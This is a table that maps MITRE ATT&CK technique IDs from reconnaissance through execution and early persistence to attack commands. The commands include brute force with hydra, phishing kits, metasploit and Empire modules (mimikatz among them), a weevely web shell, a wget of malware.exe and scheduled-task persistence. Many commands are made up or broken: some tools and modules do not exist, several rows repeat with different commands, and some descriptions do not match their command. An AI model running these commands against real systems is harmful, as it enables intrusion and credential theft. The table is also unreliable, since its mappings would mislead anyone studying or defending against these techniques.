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Technique
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102
Description
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Command
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T1595.001
Reconnaissance
Active Scanning: Scanning IP Blocks
Adversaries scan public IP blocks to identify victim systems.
masscan -p1-65535 192.168.1.0/24
T1595.002
Reconnaissance
Active Scanning: Vulnerability Scanning
Adversaries scan victim systems to find specific vulnerabilities to exploit.
nmap --script vuln 192.168.1.1
T1595.003
Reconnaissance
Active Scanning: Wordlist Scanning
Adversaries brute-force open ports or services using wordlists to find entry points.
hydra -l admin -P passwords.txt http-get://192.168.1.1/login
T1592.001
Reconnaissance
Gather Victim Host Information: Hardware
Adversaries collect details about the victim's physical or virtual hardware.
theharvester -d example.com -b google
T1592.002
Reconnaissance
Gather Victim Host Information: Software
Adversaries identify software versions and configurations on victim hosts.
theharvester -d example.com -b google -t hostinfo
T1592.003
Reconnaissance
Gather Victim Host Information: Firmware
Adversaries determine firmware versions to find exploitable low-level flaws.
whatweb --firmware http://example.com
T1592.004
Reconnaissance
Gather Victim Host Information: Client Configurations
Adversaries gather data on settings like OS patches or firewall rules.
fierce --client-configs host.com
T1589.002
Reconnaissance
Gather Victim Identity Information: Email Addresses
Adversaries scrape specific email addresses to target in phishing campaigns.
maltego --transform email_address
T1589.003
Reconnaissance
Gather Victim Identity Information: Employee Names
Adversaries collect employee names to craft targeted social engineering attacks.
maltego --transform employee_names
T1590.001
Reconnaissance
Gather Victim Network Information: Domain Properties
Adversaries analyze domain registrations and DNS records.
maltego --transform domain_properties
T1590.002
Reconnaissance
Gather Victim Network Information: DNS
Adversaries query DNS servers to map the victim's network infrastructure.
dnsrecon -d example.com -i
T1590.003
Reconnaissance
Gather Victim Network Information: Network Trust Dependencies
Adversaries identify trusted third-party connections to the victim.
msfconsole -x 'use auxiliary/scanner/nmap/hosts_with_trust'
T1590.004
Reconnaissance
Gather Victim Network Information: Network Topology
Adversaries map the internal or external layout of the victim's network.
maltego --run-transform network_topologie
T1590.005
Reconnaissance
Gather Victim Network Information: IP Addresses
Adversaries identify specific IP addresses used by the victim.
maltego --transform ip_to_domain --input 192.168.1.100
T1590.006
Reconnaissance
Gather Victim Network Information: Network Security Appliances
Adversaries detect the presence of firewalls or VPNs to plan evasion.
maltego --transform network_info
T1591.001
Reconnaissance
Gather Victim Org Information: Determine Physical Locations
Adversaries identify office locations for physical access or localized attacks.
maltego --transform physical_locations
T1591.002
Reconnaissance
Gather Victim Org Information: Business Relationships
Adversaries identify partners or vendors to exploit via supply chains.
maltego --transform business_relationships
T1591.003
Reconnaissance
Gather Victim Org Information: Identify Roles
Adversaries identify key personnel (e.g., admins, executives) for targeted attacks.
maltego --transform roleidentification
T1591.004
Reconnaissance
Gather Victim Org Information: Identify Business Tempo
Adversaries observe working hours to time attacks when defenders are away.
maltego --transform business_tempo
T1598.001
Reconnaissance
Phishing for Information: Spearphishing Service
Adversaries send emails pretending to be a service to steal login data.
setoolkit -t 1 -a 1
T1598.002
Reconnaissance
Phishing for Information: Spearphishing Attachment
Adversaries send emails with malicious attachments to harvest info upon opening.
setoolkit -t 1 -a 2
T1598.003
Reconnaissance
Phishing for Information: Spearphishing Link
Adversaries send emails with links to fake sites to harvest credentials.
setoolkit -t 1 -a 2 -o link
T1597.001
Reconnaissance
Search Closed Sources: Threat Intel Vendors
Adversaries buy or steal data from threat intelligence vendors about the victim.
maltego --transform closed_sources
T1597.002
Reconnaissance
Search Closed Sources: Purchase Technical Data
Adversaries buy technical details (like network maps) from dark web markets.
maltego --transform purchase_technical_data
T1596.001
Reconnaissance
Search Open Technical Databases: DNS/Passive DNS
Adversaries query public DNS records to find historical domain data.
passivetotal-cli --dns history example.com
T1596.002
Reconnaissance
Search Open Technical Databases: WHOIS
Adversaries search WHOIS records to identify domain owners and contact info.
dmitry -i example.com
T1596.003
Reconnaissance
Search Open Technical Databases: Digital Certificates
Adversaries search certificate logs to find valid domains and subdomains.
maltego --transform certificate_log
T1596.004
Reconnaissance
Search Open Technical Databases: CDNs
Adversaries check Content Delivery Networks to find origin servers.
dmitry -t cdn
T1596.005
Reconnaissance
Search Open Technical Databases: Scan Databases
Adversaries use repositories like Shodan to find exposed devices.
shodan search --fields ip_str,port,org 'port:22'
T1593.001
Reconnaissance
Search Open Websites/Domains: Social Media
Adversaries scrape social media for personal details and connections.
maltego --transform social_media_ads
T1593.003
Reconnaissance
Search Open Websites/Domains: Code Repositories
Adversaries search GitHub/GitLab for leaked keys or source code.
theharvester -d example.com -b github
T1583.001
Resource Development
Acquire Infrastructure: Domains
Adversaries buy domains to host malware or C2 servers.
maltego --transform acquire_domain
T1583.002
Resource Development
Acquire Infrastructure: DNS Server
Adversaries configure their own DNS servers to control resolution.
bind -4 -f /etc/bind/named.conf
T1583.003
Resource Development
Acquire Infrastructure: Virtual Private Server
Adversaries rent VPS hosting to run attacks anonymously.
metasploit -x use exploit/linux/http/vps_backdoor
T1583.004
Resource Development
Acquire Infrastructure: Server
Adversaries rent physical servers for heavy processing or C2.
amplify server rent
T1583.005
Resource Development
Acquire Infrastructure: Botnet
Adversaries rent access to a network of infected machines.
metasploit -x exploit/windows/multi/misc/net_use_t1573
T1583.006
Resource Development
Acquire Infrastructure: Web Services
Adversaries register for legitimate web services (e.g., cloud hosting) to hide traffic.
msfconsole -x 'use auxiliary/server/web_service'
T1583.007
Resource Development
Acquire Infrastructure: Serverless
Adversaries use serverless cloud functions to execute code ephemerally.
cloud-shell create --function main
T1583.008
Resource Development
Acquire Infrastructure: Malvertising
Adversaries buy ad space to distribute malware.
malvertising-tool -a
T1587.001
Resource Development
Develop Capabilities: Malware
Adversaries write custom malicious software.
metasploit --cli -x 'use exploit/windows/browser/ms10_046_webdav'
T1587.002
Resource Development
Develop Capabilities: Code Signing Certificates
Adversaries create or steal certs to sign malware so it looks legitimate.
use exploit/windows/cve_2019_1458
T1587.003
Resource Development
Develop Capabilities: Digital Certificates
Adversaries create SSL/TLS certs to encrypt C2 traffic.
openssl req -x509 -newkey rsa:2048 -nodes -keyout key.pem -out cert.pem -days 365
T1587.004
Resource Development
Develop Capabilities: Exploits
Adversaries develop code to take advantage of specific vulnerabilities.
msfconsole -x 'use exploit/windows/http/ms10_046_cve_2010_2734'
T1588.001
Resource Development
Obtain Capabilities: Malware
Reconnaissance
use post/windows/manage/enum_capabilities
T1583.001
Resource Development
Acquire Infrastructure: Domains
Adversaries buy domains to host malware or C2 servers.
amass intel -d example.com
T1583.002
Resource Development
Acquire Infrastructure: DNS Server
Adversaries configure their own DNS servers to control resolution.
bind -f /etc/bind/db.example.com
T1583.003
Resource Development
Acquire Infrastructure: Virtual Private Server
Adversaries rent VPS hosting to run attacks anonymously.
maltego --transform virtual_private_server
T1583.005
Resource Development
Acquire Infrastructure: Botnet
Adversaries rent access to a network of infected machines.
setoolkit -t 2 -a 5
T1583.006
Resource Development
Acquire Infrastructure: Web Services
Adversaries register for legitimate web services (e.g., cloud hosting) to hide traffic.
setoolkit -t 1 -a 3
T1583.007
Resource Development
Acquire Infrastructure: Serverless
Adversaries use serverless cloud functions to execute code ephemerally.
aws lambda invoke --function-name malware --invocation-type Event --payload '{"sourceip":"192.168.1.100"}' output
T1583.008
Resource Development
Acquire Infrastructure: Malvertising
Adversaries buy ad space to distribute malware.
malvertising.py -i http://example.com -a malware.exe
T1587.001
Resource Development
Develop Capabilities: Malware
Adversaries write custom malicious software.
setoolkit -t 1 -a 5
T1587.003
Resource Development
Develop Capabilities: Digital Certificates
Adversaries create SSL/TLS certs to encrypt C2 traffic.
openssl req -x509 -newkey rsa:4096 -nodes -keyout key.pem -out cert.pem -days 365
T1587.004
Resource Development
Develop Capabilities: Exploits
Adversaries develop code to take advantage of specific vulnerabilities.
metasploit -x exploit/windows/http/ms10_046_webdav_copy
T1588.001
Resource Development
Obtain Capabilities: Malware
Adversaries download existing malware or tools from public/private sources.
wget http://example.com/malware.exe
T1588.002
Resource Development
Obtain Capabilities: Tool
Adversaries download legitimate tools (like Mimikatz) for malicious use.
setoolkit -t 1 -a 4
T1588.004
Resource Development
Obtain Capabilities: Digital Certificates
Adversaries obtain SSL certs to make malicious sites look secure.
crtsh example.com
T1588.005
Resource Development
Obtain Capabilities: Exploits
Adversaries buy or download proof-of-concept exploits.
use exploit/windows/http/apache_backdoor
T1588.006
Resource Development
Obtain Capabilities: Vulnerabilities
Adversaries acquire knowledge of zero-day vulnerabilities.
use exploit/windows/vnc/zero_day
T1190
Initial Access
Exploit Public-Facing Application
Adversaries exploit a vulnerability in a web server or other internet-facing service.
use exploit/multi/http/apache_dir_enumeration
T1133
Initial Access
External Remote Services
Adversaries log in via VPNs, Citrix, or RDP using stolen credentials.
wpscan --url http://example.com --passwords passwords.txt
T1566.003
Initial Access
Phishing: Spearphishing via Service
Adversaries use third-party services (like social media) to send malicious messages.
setoolkit -t 2 -a 1
T1091
Initial Access
Replication Through Removable Media
Adversaries rely on users plugging in infected USB drives.
empire --module powershell/empire/usb_attack
T1195.001
Initial Access
Supply Chain Compromise: Compromise Software Dependencies
Adversaries infect libraries or code used by the victim's software.
burp-suite --intruder http://example.com
T1195.002
Initial Access
Supply Chain Compromise: Compromise Software Supply Chain
Adversaries infect the build pipeline or update server of a vendor.
dradis -t supply-chain-compromise
T1195.003
Initial Access
Supply Chain Compromise: Compromise Hardware Supply Chain
Adversaries tamper with hardware components before delivery.
metasploit -x exploit/hardware/hardware_supply_chain/1
T1199
Initial Access
Trusted Relationship
Adversaries breach a third-party vendor to pivot into the primary target's network.
crackmapxtra -t 1199
T1078.001
Initial Access
Valid Accounts: Default Accounts
Adversaries use factory-default usernames and passwords.
cupp -f default
T1078.002
Initial Access
Valid Accounts: Domain Accounts
Adversaries use compromised Active Directory user accounts.
bloodhound-python -u user -p pass -d domain
T1078.003
Initial Access
Valid Accounts: Local Accounts
Adversaries use accounts that only exist on a specific local machine.
use module credentials/local_accounts
T1078.004
Initial Access
Valid Accounts: Cloud Accounts
Adversaries use compromised credentials for cloud platforms (AWS, Azure).
use post/windows/gather/credentials_cloud
T1059.001
Execution
Command and Scripting Interpreter: PowerShell
Adversaries use PowerShell commands to execute scripts and automate system tasks.
powershell -Command 'C:\script.ps1'
T1059.002
Execution
Command and Scripting Interpreter: AppleScript
Adversaries use macOS AppleScript to control applications and the OS.
obfuscate AppleScript /tmp/malware.applescript
T1059.003
Execution
Command and Scripting Interpreter: Windows Command Shell
Adversaries use the standard Windows cmd.exe to run commands.
empire --module powershell/management/mimikatz
T1059.004
Execution
Command and Scripting Interpreter: Unix Shell
Adversaries use Linux/macOS shells (bash, sh, zsh) to execute commands.
weevely http://example.com/shell.php password :shell
T1059.005
Execution
Command and Scripting Interpreter: Visual Basic
Adversaries use VB scripts (VBScript/VBA) often embedded in Office docs to run code.
use exploit/windows/fileformat/ms10_046_vba_macro
T1059.006
Execution
Command and Scripting Interpreter: Python
Adversaries use the Python runtime to execute cross-platform malicious scripts.
empire --module powershell/credentials/cred_collect
T1059.007
Execution
Command and Scripting Interpreter: JavaScript
Adversaries use JavaScript (via JScript/CScript) to execute code on Windows.
use exploit/windows/browser/ms10_046_webdav
T1059.008
Execution
Command and Scripting Interpreter: Network Device CLI
Adversaries execute commands directly on network appliances (routers/switches).
telnet 192.168.1.1 -e 'enable'
T1059.009
Execution
Command and Scripting Interpreter: Cloud API
Adversaries use cloud provider APIs (AWS/Azure CLI) to execute tasks.
aws s3 sync s3://bucket/ /local/
T1059.010
Execution
Command and Scripting Interpreter: AutoIt
Adversaries use the AutoIt scripting language to simulate user input and run code.
use auxiliary/command/mimic/autogui
T1203
Execution
Exploitation for Client Execution
Adversaries exploit vulnerabilities in client software (like browsers or PDF readers) to run code.
msfconsole -q -x 'use exploit/multi/browser/client_side_exploitation'
T1559.001
Execution
Inter-Process Communication: Component Object Model
Adversaries abuse COM objects to execute code within other application processes.
comexploit -t 1
T1559.002
Execution
Inter-Process Communication: Dynamic Data Exchange
Adversaries use DDE to execute commands via data exchange between Windows apps.
use post/windows/manage/dde_exec
T1559.003
Execution
Inter-Process Communication: XPC Services
Adversaries abuse the macOS XPC mechanism to escalate privileges or run code.
xpcshell --target /bin/ls --eval'require("os").exit(0)'
T1106
Execution
Native API
Adversaries directly call OS API functions to execute code, bypassing command-line logging.
use post/windows/manage/call /bin/bash
T1053.001
Execution
Scheduled Task/Job: At
Adversaries use the deprecated 'at' command to schedule execution.
at 12:00 /interactive /a /m /t 1234
T1053.002
Execution
Scheduled Task/Job: Cron
Adversaries use the Unix 'cron' utility to schedule periodic malicious tasks.
crontab -e
T1053.003
Execution
Scheduled Task/Job: Scheduled Task
Adversaries use the Windows Task Scheduler to run malware at specific times.
schtasks /create /tn Malware /tr C:\malware.exe /st 08:00
T1053.004
Execution
Scheduled Task/Job: Systemd Timers
Adversaries use systemd timers on Linux to schedule execution.
systemd-timers --list
T1053.006
Execution
Scheduled Task/Job: Windows Management Instrumentation
Adversaries use WMI event subscriptions to trigger execution.
wmiexec /q 'SELECT * FROM Win32_WmiEvent WHERE EventID = 1'
T1053.007
Execution
Scheduled Task/Job: Container Orchestration Job
Adversaries schedule malicious tasks within container clusters.
crontab -e '0 0 * * * k3s kubectl delete deployment malware-deployment'
T1072
Execution
Software Deployment Tools
Adversaries abuse admin tools like SCCM or Group Policy to broadcast command execution.
wmiexec /u user /p pass /noint /silent /i cmd /c calc
T1569.001
Execution
System Services: Launchctl
Adversaries use the macOS 'launchctl' to load malicious daemons or agents.
launchctl load /Library/LaunchAgents/malicious.plist
T1569.002
Execution
System Services: Service Execution
Adversaries start or create Windows services to execute malicious binaries.
use post/windows/service/exec
T1204.001
Execution
User Execution: Malicious Link
Adversaries trick users into clicking a link that executes code.
empire --module powershell/management/user_execution
T1204.002
Execution
User Execution: Malicious File
Adversaries trick users into opening a file that executes code.
empire --module powershell/management/file_access
T1610
Execution
Deploy Container
Adversaries deploy a malicious container to execute code within a cluster.
kubectl create deploy malicious --image=evil-container
T1609
Execution
Container Administration Command
Adversaries abuse commands like 'docker exec' or 'kubectl exec' to run code inside containers.
docker exec -it container bash
T1098.001
Persistence
Account Manipulation: Additional Cloud Credentials
Adversaries add secondary keys or certs to a cloud account to maintain access.
empire --module powershell/credentials/get_cloud_credentials
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